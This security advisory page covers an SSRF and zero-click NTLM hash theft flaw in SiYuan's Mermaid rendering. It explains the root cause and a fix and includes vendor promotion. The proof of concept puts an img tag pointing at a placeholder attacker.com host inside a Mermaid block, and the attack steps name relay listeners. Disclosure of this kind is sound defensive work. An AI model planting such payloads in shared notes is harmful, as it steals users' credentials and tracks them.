GHSA-w95v-4h65-j455
GHSA-w95v-4h65-j455 is a Server-Side Request Forgery (SSRF) vulnerability in github.com/siyuan-note/siyuan/kernel. O3 Security confirms whether GHSA-w95v-4h65-j455 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
SiYuan configures Mermaid.js with securityLevel: "loose" and htmlLabels: true. In this mode, <img> tags with src attributes survive Mermaid's internal DOMPurify and land in SVG <foreignObject> blocks. The SVG is injected via innerHTML with no secondary sanitization. When a victim opens a note containing a malicious Mermaid diagram, the Electron client fetches the URL.
On Windows, a protocol-relative URL (//attacker.com/image.png) resolves as a UNC path (\\attacker.com\image.png). Windows attempts SMB authentication automatically, sending the victim's NTLMv2 hash to the attacker.
Root Cause
Mermaid initialization at app/src/protyle/render/mermaidRender.ts lines 28 and 33:
mermaid.initialize({
securityLevel: "loose",
flowchart: {
htmlLabels: true,
},
});
SVG injection at line 101:
renderElement.lastElementChild.innerHTML = mermaidData.svg;
No DOMPurify or other sanitization between the Mermaid output and DOM insertion.
Mermaid v11.12.0 in "loose" mode strips active JavaScript (<script>, onerror, onload) but explicitly allows <img> tags with src attributes in the final SVG output. Verified by rendering the PoC below through the Mermaid CLI with matching configuration.
The Electron main process at app/electron/main.js line 78 sets disable-web-security, and lines 319+ set webSecurity: false, nodeIntegration: true, contextIsolation: false on all BrowserWindows. The disabled web security allows protocol-relative URLs to resolve as UNC paths.
Proof of Concept
Mermaid code block in a SiYuan note:
```mermaid
graph TD
A["<img src='//attacker.com/share/img.png'>"] --> B[Normal Node]
```
Rendered SVG output (verified with Mermaid CLI 11.12.0, securityLevel: "loose", htmlLabels: true):
<foreignObject>
<div xmlns="http://www.w3.org/1999/xhtml">
<span class="nodeLabel">
<p><img src="//attacker.com/share/img.png" style="..."></p>
</span>
</div>
</foreignObject>
What was stripped by Mermaid's internal sanitizer (verified): onerror, onload, all event handler attributes, <script> tags, file:// URLs.
What survived (verified): <img src="http://...">, <img src="//...">.
Attack steps:
- Attacker creates a note or .sy export containing the Mermaid block above
- Attacker hosts a listener on attacker.com (Responder, ntlmrelayx, or HTTP logger)
- Victim imports the notebook or opens the shared note
- SiYuan renders the Mermaid diagram, injects SVG via innerHTML
- Electron fetches
//attacker.com/share/img.png
On Windows: Electron resolves the protocol-relative URL as a UNC path. Windows sends NTLMv2 credentials to the attacker's SMB server.
On macOS/Linux: Electron makes an HTTP request to the attacker's server, leaking the victim's IP and confirming when the note was read.
Impact
Zero-click credential theft on Windows. The victim only needs to view the note. NTLMv2 hashes can be cracked offline or used in relay attacks. On all platforms, the request acts as a tracking pixel and blind SSRF from the victim's machine.
No configuration changes required. The securityLevel: "loose" setting is hardcoded in SiYuan's Mermaid initialization.
Suggested Fix
Change Mermaid initialization to securityLevel: "strict". If HTML labels are required, add a DOMPurify pass on the SVG output before the innerHTML assignment at mermaidRender.ts:101, configured to strip <img> tags or enforce a strict URI allowlist blocking external and protocol-relative URLs.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 0.0.0-20260407035653-2f416e5253f1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260407035653-2f416e5253f1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w95v-4h65-j455 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w95v-4h65-j455 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w95v-4h65-j455. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w95v-4h65-j455 in your dependencies?
O3 detects GHSA-w95v-4h65-j455 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.